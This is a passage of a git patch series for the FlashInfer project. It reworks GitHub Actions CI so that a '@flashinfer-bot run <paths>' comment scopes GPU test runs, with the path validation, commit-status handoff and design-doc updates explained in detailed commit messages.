body. Turning a declaration into paths happens once, in whoever issues the trigger. A reviewer who wants to run something else just says so; the declared scope is the default the watcher uses, not a constraint CI enforces. `@flashinfer-bot run ` now replaces the default GPU lanes with a single targeted lane. Bare `@flashinfer-bot run` is unchanged. Since a run-ci label carries no payload, the arguments are recovered from the comment that caused it, accepting only a comment newer than the head commit -- otherwise re-labelling by hand months later would silently resurrect a stale scope. The validator gained a --targets mode so both entry points share one definition of a safe target, differing only in root: tests/experimental/ for a declaration, tests/ for a reviewer request, since a reviewer may legitimately want to run anything. Fixed while testing: the argument extraction used [^\r\n], which BSD sed reads as a literal class of backslash/r/n, truncating tests/experimental/foo.py to tests/expe at the first "r". GNU sed on the runners would have hidden this. Now uses (.*)$ with CRs stripped, which behaves identically under both. Seven extraction cases checked: single and multiple targets, prose before the command, bare run, capitalisation, CRLF bodies, and a command on the second line. AI-assisted (Claude Code). --- .github/workflows/pr-test.yml | 102 ++++++++++++------ .../experimental_apis_and_backends.md | 9 +- scripts/pr_checks/experimental_test_scope.py | 72 +++++++++---- 3 files changed, 124 insertions(+), 59 deletions(-) diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index 0ef199bc3e4..dbcd5788c98 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -45,6 +45,7 @@ concurrency: permissions: contents: read pull-requests: write + issues: read # PR conversation comments live on the issues API actions: read env: @@ -153,6 +154,52 @@ jobs: fi # Built here rather than written inline in the test job because the + # A run-ci label carries no payload, so a parameterised `@flashinfer-bot run + # ` has to be recovered from the comment that caused the label. Only a + # comment newer than the head commit counts: otherwise re-labelling a PR by hand + # months later would silently resurrect a stale scope. + - name: Resolve requested test scope + id: scope + if: github.event_name == 'pull_request' + env: + GH_TOKEN: ${{ github.token }} + PR_NUMBER: ${{ github.event.pull_request.number }} + HEAD_SHA: ${{ github.event.pull_request.head.sha }} + run: | + HEAD_DATE=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${HEAD_SHA}" \ + --jq '.commit.committer.date') + + # Newest `@flashinfer-bot run ` comment created after the head commit. + RAW=$(gh api "repos/${GITHUB_REPOSITORY}/issues/${PR_NUMBER}/comments" \ + --paginate --jq \ + "[.[] | select(.created_at > \"${HEAD_DATE}\") + | select(.body | test(\"@flashinfer-bot[ \t]+run[ \t]+[^ \t]\"; \"i\"))] + | last | .body // empty") + + if [ -z "$RAW" ]; then + echo "No parameterised bot-run comment after ${HEAD_SHA}; running defaults" + echo "test_path=" >> "$GITHUB_OUTPUT" + exit 0 + fi + + # sed works line by line, so `(.*)$` cannot span lines - and unlike + # [^\r\n], it behaves the same under BSD and GNU sed. CRs are stripped first + # so a CRLF comment body does not leave one on the last target. + ARGS=$(printf '%s' "$RAW" | tr -d '\r' \ + | sed -nE 's/.*@[Ff]lashinfer-bot[[:space:]]+run[[:space:]]+(.*)$/\1/p' \ + | head -1) + + # Validated with the same rules as a declared scope: strict charset, under + # tests/, must exist. A reviewer is authorised to trigger CI, which is not the + # same as this string being safe to hand to a shell. + if ! TEST_PATH=$(python3 scripts/pr_checks/experimental_test_scope.py \ + --targets "$ARGS" --test-path 2>/tmp/scope_err); then + echo "::error::Requested test scope rejected: $(cat /tmp/scope_err)" + exit 1 + fi + echo "Requested scope: ${TEST_PATH}" + echo "test_path=${TEST_PATH}" >> "$GITHUB_OUTPUT" + # skip_aot / skip_gpu dispatch inputs have to drop entries before the # matrix expands - a job-level `if` cannot see the matrix context, and # skipping inside the job would still claim a runner first. @@ -162,11 +209,9 @@ jobs: SKIP_AOT: ${{ github.event.inputs.skip_aot }} SKIP_GPU: ${{ github.event.inputs.skip_gpu }} RUNTIME_CUDA_MATRIX: ${{ steps.cuda-versions.outputs.runtime }} - # PR body is attacker-controlled: it is passed through env and read from a - # file, never interpolated into the script text. See the experimental lane - # below. - PR_BODY: ${{ github.event.pull_request.body }} - PR_LABELS: ${{ toJSON(github.event.pull_request.labels.*.name) }} + # Targets requested by the triggering `@flashinfer-bot run ` comment, + # already validated in the step above. Empty for an unparameterised run. + REQUESTED_TEST_PATH: ${{ steps.scope.outputs.test_path }} run: | { if [ "$SKIP_AOT" != "true" ]; then @@ -184,7 +229,7 @@ jobs: done fi - if [ "$SKIP_GPU" != "true" ]; then + if [ "$SKIP_GPU" != "true" ] && [ -z "${REQUESTED_TEST_PATH}" ]; then for shard in 1 2 3 4 5; do jq -nc --arg shard "$shard" '{ name: "JIT Unittest \($shard) (A10G)", @@ -214,35 +259,24 @@ jobs: timeout: 480 }' - # Experimental track: one extra H100 lane running only the targets the - # PR declares (see .github/pull_request_template.md). Additive - the - # lanes above are untouched, so a normal PR cannot be affected. - # - # The declared scope is validated by experimental_test_scope.py, which - # rejects paths outside tests/experimental/, path traversal and targets - # that do not exist in the checkout. A nonexistent path would otherwise - # collect nothing and pass, which looks like coverage. + # A `@flashinfer-bot run ` comment replaces the default GPU lanes + # with a single targeted lane. `@flashinfer-bot run` with no arguments is + # unchanged and still runs everything above. # - # Trust: whether this PR's code (including its tests) may run on our - # runners is decided upstream, by the screening that gates the run-ci - # label. This step decides *scope*, not trust. - if jq -e 'index("experimental")' <<< "$PR_LABELS" > /dev/null 2>&1; then - printf '%s' "$PR_BODY" > /tmp/pr_body.md - if EXP_TEST_PATH=$(python3 scripts/pr_checks/experimental_test_scope.py \ - --body-file /tmp/pr_body.md --test-path 2>/tmp/exp_err); then - jq -nc --arg test_path "$EXP_TEST_PATH" '{ - name: "Experimental Unittest (H100)", - kind: "h100", - runner: ["self-hosted", "linux", "x64", "gpu", "h100"], - cuda: "cu129", - script: "task_run_unit_tests.sh", - test_path: $test_path, - timeout: 480 - }' - else - echo "::error::experimental PR without a valid test scope: $(cat /tmp/exp_err)" >&2 - exit 1 - fi + # This step does NOT parse the PR body. The declared experimental scope is + # read by whoever issues the trigger (a reviewer, or the screening watcher + # posting under their own identity), so there is exactly one place that + # turns a declaration into paths. CI runs what it is told. + if [ -n "${REQUESTED_TEST_PATH}" ]; then + jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ + name: "Targeted Unittest (H100)", + kind: "h100", + runner: ["self-hosted", "linux", "x64", "gpu", "h100"], + cuda: "cu129", + script: "task_run_unit_tests.sh", + test_path: $test_path, + timeout: 480 + }' fi fi } | jq -sc '{include: .}' > matrix.json diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index caf1d6de7a5..cc0e4e5975c 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -142,12 +142,13 @@ tests/experimental/test_my_backend.py The declaration is required, and targets must live under `tests/experimental/`. Running the whole tree is permitted but gets slower and less relevant to any one change as the track grows, so authors should declare the narrowest scope that covers the change. `scripts/pr_checks/experimental_test_scope.py` parses and validates the block and emits a `TEST_PATH` (`--test-path`), the value both CI systems already accept — GitHub via the `run-ci` label or `@flashinfer-bot run`, GitLab via `/bot run TEST_PATH` — so neither lane reimplements the parsing, and a reviewer triggering a run by hand can paste the same value. Narrowing the scope reduces what runs within each GPU/toolkit matrix cell; it does not change the matrix itself. -The two trigger paths are asymmetric, and that is why the declaration lives in the PR body. GitLab's `/bot run TEST_PATH` carries the target inline, so a reviewer can already scope a run by hand. GitHub's triggers — the `run-ci` label and `@flashinfer-bot run` — carry no argument, so a GitHub run has no other channel for learning what to test. Reading the declared block is what lets the same targeted run happen on both. `pr-test.yml` adds one extra H100 lane for PRs carrying the `experimental` label, running only the declared targets; the existing lanes are untouched, so a normal PR is unaffected. +Both CI systems take the scope as an argument: GitLab as `/bot run TEST_PATH`, GitHub as `@flashinfer-bot run `. A parameterised GitHub run replaces the default GPU lanes with a single targeted lane; `@flashinfer-bot run` with no arguments is unchanged. -Two properties of that lane are worth stating, because they are easy to erode later: +**CI runs what it is told, and does not read the declaration.** Turning a declared block into paths happens once, in whoever issues the trigger — a reviewer, or the screening watcher posting under its own identity with the declared scope. There is deliberately no second parser in the workflow: a reviewer who wants to run something else just says so, and the declaration stays the default rather than becoming a constraint. -* **Declared targets must exist.** A path that does not exist collects no tests and passes — a false green, which is the most expensive way for this to fail because it looks like coverage. The validator checks existence in the checkout, so a typo fails the matrix rather than quietly reporting success. -* **The lane decides scope, not trust.** Whether a PR's code — *including its tests* — may run on the runners is settled upstream, by the screening that gates the `run-ci` label; a new test file is part of the diff that decision covers. The workflow therefore does not re-derive trust from the declaration. It does keep the PR body's *handling* defensive, for a reason independent of trust: `run-ci` can be applied by hand or via `@flashinfer-bot run` without any screening having run, so the workflow has to be safe on its own terms. The validator restricts targets to a strict charset (rejecting shell metacharacters, command substitution and smuggled flags outright, rather than inferring safety from a path prefix), the value is passed via `env` and never interpolated into script text, and the shell reads it into an array with globbing disabled instead of relying on word splitting. Each layer holds without the others. +Because a `run-ci` label carries no payload, the workflow recovers the arguments from the comment that caused the label, accepting only a comment newer than the head commit — otherwise re-labelling a PR by hand months later would silently resurrect a stale scope. + +Requested targets are validated with the same rules as a declared scope — strict charset, must exist — but against a wider root (`tests/` rather than `tests/experimental/`), since a reviewer may legitimately want to run anything. Being authorised to trigger CI is not the same as a string being safe to hand to a shell, so the value is passed via `env`, never interpolated into script text, and read into an array with globbing disabled. Changes under `flashinfer.experimental` receive narrower review focused on eligibility, correctness, containment, licensing, and obvious safety or maintainability risks. diff --git a/scripts/pr_checks/experimental_test_scope.py b/scripts/pr_checks/experimental_test_scope.py index e3494cde914..6cb046679a4 100755 --- a/scripts/pr_checks/experimental_test_scope.py +++ b/scripts/pr_checks/experimental_test_scope.py @@ -74,31 +74,41 @@ def parse(body: str) -> list[str]: if len(blocks) > 1: raise ValueError(f"found {len(blocks)} experimental-tests blocks; expected 1") - targets, bad, unsafe = [], [], [] + targets = [] for raw in blocks[0].splitlines(): line = raw.split("#", 1)[0].strip() - if not line: - continue - # A path may carry a ::test suffix; validate only the file part. - path = line.split("::", 1)[0] - if not TARGET_RE.match(line): - unsafe.append(line) - elif not path.startswith(ROOT) or ".." in path: - bad.append(line) - else: + if line: targets.append(line) + validate(targets, ROOT) + if not targets: + raise ValueError( + "the experimental-tests block is empty; declare at least one target " + f"under {ROOT}" + ) + return targets + + +def validate(targets: list[str], root: str = ROOT) -> list[str]: + """Charset- and root-check an already-split list of targets. + + Shared by both entry points so there is one definition of a safe target: the + declared block (root ``tests/experimental/``) and an explicit list from a + ``@flashinfer-bot run`` comment (root ``tests/``, since a reviewer may + legitimately want to run anything). + """ + unsafe = [x for x in targets if not TARGET_RE.match(x)] if unsafe: raise ValueError( "targets contain characters not allowed in a test path: " + ", ".join(unsafe) ) + bad = [ + x + for x in targets + if not x.split("::", 1)[0].startswith(root) or ".." in x.split("::", 1)[0] + ] if bad: - raise ValueError(f"targets outside {ROOT}: {', '.join(bad)}") - if not targets: - raise ValueError( - "the experimental-tests block is empty; declare at least one target " - f"under {ROOT}" - ) + raise ValueError(f"targets outside {root}: {', '.join(bad)}") return targets @@ -215,6 +225,17 @@ def _selftest() -> int: def main() -> int: ap = argparse.ArgumentParser(description=__doc__.split("\n")[0]) ap.add_argument("--body-file", help="file containing the PR body") + ap.add_argument( + "--targets", + help="validate this whitespace-separated list instead of parsing a body " + "(for arguments supplied to `@flashinfer-bot run`)", + ) + ap.add_argument( + "--root", + default=None, + help="required path prefix (default: tests/experimental/ for --body-file, " + "tests/ for --targets)", + ) ap.add_argument( "--test-path", action="store_true", @@ -235,13 +256,22 @@ def main() -> int: if args.selftest: return _selftest() - if not args.body_file: - ap.error("--body-file is required (or use --selftest)") + if not args.body_file and not args.targets: + ap.error("one of --body-file / --targets is required (or use --selftest)") + if args.body_file and args.targets: + ap.error("--body-file and --targets are mutually exclusive") - with open(args.body_file, encoding="utf-8") as fh: - body = fh.read() try: - targets = parse(body) + if args.targets is not None: + targets = args.targets.split() + if not targets: + raise ValueError("no targets given") + validate(targets, args.root or "tests/") + else: + with open(args.body_file, encoding="utf-8") as fh: + targets = parse(fh.read()) + if args.root: + validate(targets, args.root) if not args.no_check_exists: check_exists(targets, args.repo_root) except ValueError as e: From 6882c7613fc8862c5328d2ab27819ac5194217e9 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Tue, 1 Sep 2026 19:16:53 -0600 Subject: [PATCH 13/41] fix(ci): a targeted run spans the GPU matrix, not one arch Previous commit collapsed a parameterised run to a single H100 lane, inventing an arch decision that does not exist. TEST_PATH fires on the full matrix, as it already does on GitLab. It works because tests carry their own arch guards (is_sm90a_supported() and friends) and skip themselves where unsupported, so the same targets can go to every GPU runner and the right subset executes on each. That is also why no arch selection is wanted: adding one would mean maintaining a path-to-arch mapping alongside guards that already encode it, and the two would drift. A targeted run now emits one lane per GPU runner (A10G/sm86, T4/sm75, H100), all using task_run_unit_tests.sh. That script is the one that forwards "$@" into TEST_PATH; the default shards (task_jit_run_tests_part*.sh) are fixed pytest lists and take no arguments, so they cannot be retargeted and are replaced rather than parameterised. Narrowing the scope therefore reduces what runs within each matrix cell, not which cells run. AI-assisted (Claude Code). --- .github/workflows/pr-test.yml | 39 +++++++++++++++---- .../experimental_apis_and_backends.md | 4 +- 2 files changed, 35 insertions(+), 8 deletions(-) diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index dbcd5788c98..2d83d99b4db 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -259,15 +259,40 @@ jobs: timeout: 480 }' - # A `@flashinfer-bot run ` comment replaces the default GPU lanes - # with a single targeted lane. `@flashinfer-bot run` with no arguments is - # unchanged and still runs everything above. + # A `@flashinfer-bot run ` comment retargets the GPU lanes at those + # paths. There is deliberately no arch selection: tests carry their own + # arch guards (is_sm90a_supported() and friends) and skip themselves where + # unsupported, so the targets can run across the whole GPU matrix and the + # right subset executes per runner. Narrowing the scope reduces what runs + # in each cell, not which cells run - and nobody has to keep a + # path-to-arch mapping in sync with the tests. # - # This step does NOT parse the PR body. The declared experimental scope is - # read by whoever issues the trigger (a reviewer, or the screening watcher - # posting under their own identity), so there is exactly one place that - # turns a declaration into paths. CI runs what it is told. + # The default shards (task_jit_run_tests_part*.sh) are fixed pytest lists + # and take no arguments, so a targeted run uses task_run_unit_tests.sh -- + # the script that forwards "$@" into TEST_PATH -- on every GPU runner. + # + # This step does NOT parse the PR body. Turning a declared scope into paths + # happens once, in whoever issues the trigger (a reviewer, or the screening + # watcher posting under its own identity). CI runs what it is told. if [ -n "${REQUESTED_TEST_PATH}" ]; then + jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ + name: "Targeted Unittest (A10G)", + kind: "gpu", + runner: ["self-hosted", "linux", "x64", "gpu", "sm86", "on-demand"], + cuda: "cu129", + script: "task_run_unit_tests.sh", + test_path: $test_path, + timeout: 360 + }' + jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ + name: "Targeted Unittest (T4)", + kind: "gpu", + runner: ["self-hosted", "linux", "x64", "gpu", "sm75", "on-demand"], + cuda: "cu129", + script: "task_run_unit_tests.sh", + test_path: $test_path, + timeout: 360 + }' jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ name: "Targeted Unittest (H100)", kind: "h100", diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index cc0e4e5975c..87282a14e2c 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -142,7 +142,9 @@ tests/experimental/test_my_backend.py The declaration is required, and targets must live under `tests/experimental/`. Running the whole tree is permitted but gets slower and less relevant to any one change as the track grows, so authors should declare the narrowest scope that covers the change. `scripts/pr_checks/experimental_test_scope.py` parses and validates the block and emits a `TEST_PATH` (`--test-path`), the value both CI systems already accept — GitHub via the `run-ci` label or `@flashinfer-bot run`, GitLab via `/bot run TEST_PATH` — so neither lane reimplements the parsing, and a reviewer triggering a run by hand can paste the same value. Narrowing the scope reduces what runs within each GPU/toolkit matrix cell; it does not change the matrix itself. -Both CI systems take the scope as an argument: GitLab as `/bot run TEST_PATH`, GitHub as `@flashinfer-bot run `. A parameterised GitHub run replaces the default GPU lanes with a single targeted lane; `@flashinfer-bot run` with no arguments is unchanged. +Both CI systems take the scope as an argument: GitLab as `/bot run TEST_PATH`, GitHub as `@flashinfer-bot run `. A parameterised GitHub run retargets the GPU lanes at those paths; `@flashinfer-bot run` with no arguments is unchanged. + +There is no arch selection, and none is needed: tests carry their own arch guards and skip themselves where unsupported, so a targeted run still spans the GPU matrix and the right subset executes on each runner. Narrowing the scope reduces what runs *within* each cell rather than which cells run — and no path-to-arch mapping has to be kept in sync with the tests. **CI runs what it is told, and does not read the declaration.** Turning a declared block into paths happens once, in whoever issues the trigger — a reviewer, or the screening watcher posting under its own identity with the declared scope. There is deliberately no second parser in the workflow: a reviewer who wants to run something else just says so, and the declaration stays the default rather than becoming a constraint. From 5b8115440059eefb1a886e6efaf8fb8715a2319c Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Tue, 1 Sep 2026 19:38:26 -0600 Subject: [PATCH 14/41] refactor(ci): pass the test scope via a commit status, not comment scanning Per Alex: `@flashinfer-bot run ` and `/bot run TEST_PATH` should be one convention, and the comment should be parsed once -- not re-read from a later stage. ci-bot-commands.yml already parses this comment to dispatch the command, so it now also extracts the paths, validates them, and publishes them as a `ci/test-scope` commit status on the head SHA. pr-test.yml reads that description verbatim: one API call, no regex, no comment listing, no date filtering. The previous approach had pr-test re-scanning comments and filtering by the head commit's timestamp, which was both duplicated work and fiddly. Keying the status to the head SHA makes staleness structural rather than a rule: a new push is a new SHA with no scope status, so re-labelling cannot resurrect an old scope. A bare `@flashinfer-bot run` publishes an empty scope, so it clears a previous one instead of silently inheriting it. The symmetry has a second benefit worth stating: automation gets no privileged channel. A watcher triggering a screened PR types exactly what a reviewer types, so there is one path to test and no way for the two to drift. Validation splits by what each layer can actually see. ci-bot-commands checks charset and root against the trusted validator from the base branch -- it deliberately does not check out PR code, since it holds a write token -- and rejects anything over the status description's 140-character limit, which doubles as a nudge toward the narrow scope this exists to encourage. Existence is left to whoever issues the trigger (who has the PR's files) and, failing that, to pytest, which errors on a missing path. pr-test.yml drops the issues:read permission it needed for comment reading and takes statuses:read instead. AI-assisted (Claude Code). --- .github/workflows/ci-bot-commands.yml | 54 +++++++++++++++++- .github/workflows/pr-test.yml | 56 ++++++------------- .../experimental_apis_and_backends.md | 4 +- 3 files changed, 73 insertions(+), 41 deletions(-) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 5aefe3c8b36..6a3669d812d 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -1,7 +1,7 @@ # Bot command handler for CI permissions # Authorized users - anyone who can apply the run-ci label to a PR, plus the # ci-users team - can comment to control CI: -# @flashinfer-bot run - Apply run-ci label to start CI on the current +# @flashinfer-bot run [paths] - Apply run-ci label to start CI on the current # commit; needed again after new commits # @flashinfer-bot rerun - Cancel and rerun all workflows # @flashinfer-bot rerun failed - Rerun failed and cancelled jobs @@ -16,6 +16,7 @@ on: permissions: contents: read pull-requests: write + statuses: write # publishes the requested test scope (see "Handle @flashinfer-bot run") actions: write jobs: @@ -27,6 +28,12 @@ jobs: runs-on: ubuntu-latest steps: + # Base-repo checkout only - never the PR head. This job holds a write token, so + # the validator it runs must be the trusted copy from the default branch. + - uses: actions/checkout@v5 + with: + persist-credentials: false + - name: Check permission id: check-permission env: @@ -110,6 +117,51 @@ jobs: env: GH_TOKEN: ${{ secrets.FLASHINFER_BOT_TOKEN }} run: | + # `@flashinfer-bot run ` mirrors GitLab's `/bot run TEST_PATH`, so the + # two systems present one convention. A label carries no payload, so the paths + # are parsed HERE - the one place that already parses this comment - and handed + # to pr-test.yml as a commit status on the head SHA. pr-test reads that value + # verbatim; nothing downstream re-reads comments. + # + # Keying on the head SHA makes staleness structural: a new push is a new SHA + # with no scope status, so an old scope cannot be resurrected by re-labelling. + HEAD_SHA=$(gh pr view ${{ github.event.issue.number }} \ + --repo ${{ github.repository }} --json headRefOid -q .headRefOid) + + ARGS=$(printf '%s' "$COMMENT_BODY" | tr -d '\r' \ + | sed -nE 's/.*@[Ff]lashinfer-bot[[:space:]]+run[[:space:]]+(.*)$/\1/p' \ + | head -1) + + # Always publish, including the empty case: a bare `run` after a scoped one + # must clear the scope rather than silently inherit it. + SCOPE="" + if [ -n "$ARGS" ]; then + # Charset and root only. Existence needs the PR's files, which this job + # deliberately does not check out; pytest fails on a missing path anyway, + # and whoever issues the trigger can check existence up front. + if ! SCOPE=$(python3 scripts/pr_checks/experimental_test_scope.py \ + --targets "$ARGS" --root tests/ --no-check-exists --test-path \ + 2>/tmp/scope_err); then + gh pr comment ${{ github.event.issue.number }} \ + --repo ${{ github.repository }} \ + --body "Requested test scope rejected: $(cat /tmp/scope_err)" + exit 1 + fi + if [ ${#SCOPE} -gt 140 ]; then + gh pr comment ${{ github.event.issue.number }} \ + --repo ${{ github.repository }} \ + --body "Requested test scope is too long (${#SCOPE} chars, limit 140). Declare fewer targets." + exit 1 + fi + fi + + gh api -X POST "/repos/${{ github.repository }}/statuses/${HEAD_SHA}" \ + -f state=success \ + -f context='ci/test-scope' \ + -f description="${SCOPE}" \ + -f target_url="${{ github.event.comment.html_url }}" > /dev/null + echo "Published test scope: '${SCOPE:-}'" + echo "Adding run-ci label to PR #${{ github.event.issue.number }}" # Re-applying a label the PR already has emits no event, so remove it diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index 2d83d99b4db..f0c40ad95b9 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -45,7 +45,7 @@ concurrency: permissions: contents: read pull-requests: write - issues: read # PR conversation comments live on the issues API + statuses: read # reads the ci/test-scope status published by ci-bot-commands.yml actions: read env: @@ -154,51 +154,29 @@ jobs: fi # Built here rather than written inline in the test job because the - # A run-ci label carries no payload, so a parameterised `@flashinfer-bot run - # ` has to be recovered from the comment that caused the label. Only a - # comment newer than the head commit counts: otherwise re-labelling a PR by hand - # months later would silently resurrect a stale scope. - - name: Resolve requested test scope + # `@flashinfer-bot run ` publishes the requested scope as a `ci/test-scope` + # commit status on this SHA (see ci-bot-commands.yml). Read it verbatim - the + # comment was parsed once, there, and nothing is re-parsed here. + # + # Statuses come back newest-first, so the newest for this context is the last + # command issued. No status means nobody asked for a scope: run the full suite. + # Because the status is keyed to the SHA, a scope cannot outlive the commit it was + # requested for. + - name: Read requested test scope id: scope if: github.event_name == 'pull_request' env: GH_TOKEN: ${{ github.token }} - PR_NUMBER: ${{ github.event.pull_request.number }} HEAD_SHA: ${{ github.event.pull_request.head.sha }} run: | - HEAD_DATE=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${HEAD_SHA}" \ - --jq '.commit.committer.date') - - # Newest `@flashinfer-bot run ` comment created after the head commit. - RAW=$(gh api "repos/${GITHUB_REPOSITORY}/issues/${PR_NUMBER}/comments" \ - --paginate --jq \ - "[.[] | select(.created_at > \"${HEAD_DATE}\") - | select(.body | test(\"@flashinfer-bot[ \t]+run[ \t]+[^ \t]\"; \"i\"))] - | last | .body // empty") - - if [ -z "$RAW" ]; then - echo "No parameterised bot-run comment after ${HEAD_SHA}; running defaults" - echo "test_path=" >> "$GITHUB_OUTPUT" - exit 0 - fi - - # sed works line by line, so `(.*)$` cannot span lines - and unlike - # [^\r\n], it behaves the same under BSD and GNU sed. CRs are stripped first - # so a CRLF comment body does not leave one on the last target. - ARGS=$(printf '%s' "$RAW" | tr -d '\r' \ - | sed -nE 's/.*@[Ff]lashinfer-bot[[:space:]]+run[[:space:]]+(.*)$/\1/p' \ - | head -1) - - # Validated with the same rules as a declared scope: strict charset, under - # tests/, must exist. A reviewer is authorised to trigger CI, which is not the - # same as this string being safe to hand to a shell. - if ! TEST_PATH=$(python3 scripts/pr_checks/experimental_test_scope.py \ - --targets "$ARGS" --test-path 2>/tmp/scope_err); then - echo "::error::Requested test scope rejected: $(cat /tmp/scope_err)" - exit 1 + SCOPE=$(gh api "repos/${GITHUB_REPOSITORY}/commits/${HEAD_SHA}/statuses" \ + --jq 'map(select(.context == "ci/test-scope")) | first | .description // ""') + if [ -z "$SCOPE" ]; then + echo "No requested scope for ${HEAD_SHA}; running the full suite" + else + echo "Requested scope: ${SCOPE}" fi - echo "Requested scope: ${TEST_PATH}" - echo "test_path=${TEST_PATH}" >> "$GITHUB_OUTPUT" + echo "test_path=${SCOPE}" >> "$GITHUB_OUTPUT" # skip_aot / skip_gpu dispatch inputs have to drop entries before the # matrix expands - a job-level `if` cannot see the matrix context, and diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index 87282a14e2c..b315b15035d 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -148,7 +148,9 @@ There is no arch selection, and none is needed: tests carry their own arch guard **CI runs what it is told, and does not read the declaration.** Turning a declared block into paths happens once, in whoever issues the trigger — a reviewer, or the screening watcher posting under its own identity with the declared scope. There is deliberately no second parser in the workflow: a reviewer who wants to run something else just says so, and the declaration stays the default rather than becoming a constraint. -Because a `run-ci` label carries no payload, the workflow recovers the arguments from the comment that caused the label, accepting only a comment newer than the head commit — otherwise re-labelling a PR by hand months later would silently resurrect a stale scope. +Because a `run-ci` label carries no payload, `ci-bot-commands.yml` — the one place that already parses this comment — publishes the requested paths as a `ci/test-scope` commit status on the head SHA, and `pr-test.yml` reads that value verbatim. Nothing downstream re-reads comments, and keying on the SHA makes staleness structural: a new push is a new SHA with no scope status, so an old scope cannot be resurrected by re-labelling. + +The convention is deliberately the same on both systems — `@flashinfer-bot run ` and `/bot run TEST_PATH` — with the status being an implementation detail of the GitHub side. That symmetry also means automation gets no privileged channel: a watcher triggering a screened PR types exactly what a reviewer would, so there is one path to test and no way for the two to drift. Requested targets are validated with the same rules as a declared scope — strict charset, must exist — but against a wider root (`tests/` rather than `tests/experimental/`), since a reviewer may legitimately want to run anything. Being authorised to trigger CI is not the same as a string being safe to hand to a shell, so the value is passed via `env`, never interpolated into script text, and read into an array with globbing disabled. From 2c6cf9bbb5b4b549acdbfd057d5b7581fbb6f406 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Tue, 1 Sep 2026 19:46:02 -0600 Subject: [PATCH 15/41] feat(ci): chunk the test-scope status so long paths fit A status description caps at 140 characters. Measured against this repo, test paths run median 41, p90 60, max 81, and a file.py::test_case is around 63 -- so 140 fits two or three targets, and one long path plus a selector can exhaust it. Rejecting on overflow would have made the limit a design constraint on scopes, which is the wrong tradeoff for experimental components with long names. The scope is now published across ci/test-scope-N statuses and reassembled in index order. Splitting happens on target boundaries in the validator (--chunk N), never mid-path, since half a path is still a syntactically valid path and would fail confusingly rather than loudly. Indices start at 1 even for a single chunk: one code path instead of a bare-context special case. Two failure modes handled, both silent if missed: Statuses cannot be deleted, so a scope that shrinks would leave stale trailing chunks and reassemble into paths nobody asked for. The publisher blanks any leftover indices above the new count. Contexts sort lexically, so ci/test-scope-10 would land between -1 and -2. Reassembly extracts the index and sorts numerically. Reassembly takes the newest status per context, so re-triggering overwrites cleanly. Verified across six cases: ordered chunks, unordered chunks mixed with foreign contexts, a shrunk scope, a cleared scope, no scope statuses, and 10+ chunks. Chunking itself is covered in --selftest: no chunk exceeds the limit, chunks round-trip to the original list, a single target stays one chunk, and a target longer than the limit is rejected rather than split. AI-assisted (Claude Code). --- .github/workflows/ci-bot-commands.yml | 53 ++++++++++++----- .github/workflows/pr-test.yml | 11 +++- .../experimental_apis_and_backends.md | 2 +- scripts/pr_checks/experimental_test_scope.py | 59 ++++++++++++++++++- 4 files changed, 107 insertions(+), 18 deletions(-) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 6a3669d812d..cd4b94e99bd 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -134,11 +134,17 @@ jobs: # Always publish, including the empty case: a bare `run` after a scoped one # must clear the scope rather than silently inherit it. - SCOPE="" + # + # A status description caps at 140 chars, which fits only two or three real + # test paths, so the scope is published across `ci/test-scope-N` statuses and + # reassembled by pr-test.yml. Indices always start at 1, even for a single + # chunk, so there is one code path rather than a special case. + CHUNKS=() if [ -n "$ARGS" ]; then # Charset and root only. Existence needs the PR's files, which this job - # deliberately does not check out; pytest fails on a missing path anyway, - # and whoever issues the trigger can check existence up front. + # deliberately does not check out -- it holds a write token, so the validator + # it runs must be the trusted copy from the base branch. Whoever issues the + # trigger can check existence up front, and pytest errors on a missing path. if ! SCOPE=$(python3 scripts/pr_checks/experimental_test_scope.py \ --targets "$ARGS" --root tests/ --no-check-exists --test-path \ 2>/tmp/scope_err); then @@ -147,20 +153,37 @@ jobs: --body "Requested test scope rejected: $(cat /tmp/scope_err)" exit 1 fi - if [ ${#SCOPE} -gt 140 ]; then - gh pr comment ${{ github.event.issue.number }} \ - --repo ${{ github.repository }} \ - --body "Requested test scope is too long (${#SCOPE} chars, limit 140). Declare fewer targets." - exit 1 - fi + mapfile -t CHUNKS < <(python3 scripts/pr_checks/experimental_test_scope.py \ + --targets "$SCOPE" --root tests/ --no-check-exists --chunk 140) fi - gh api -X POST "/repos/${{ github.repository }}/statuses/${HEAD_SHA}" \ - -f state=success \ - -f context='ci/test-scope' \ - -f description="${SCOPE}" \ - -f target_url="${{ github.event.comment.html_url }}" > /dev/null - echo "Published test scope: '${SCOPE:-}'" + # Statuses cannot be deleted, so a scope that shrank must have its leftover + # chunks blanked; otherwise pr-test would reassemble stale trailing paths. + PREV_MAX=$(gh api "/repos/${{ github.repository 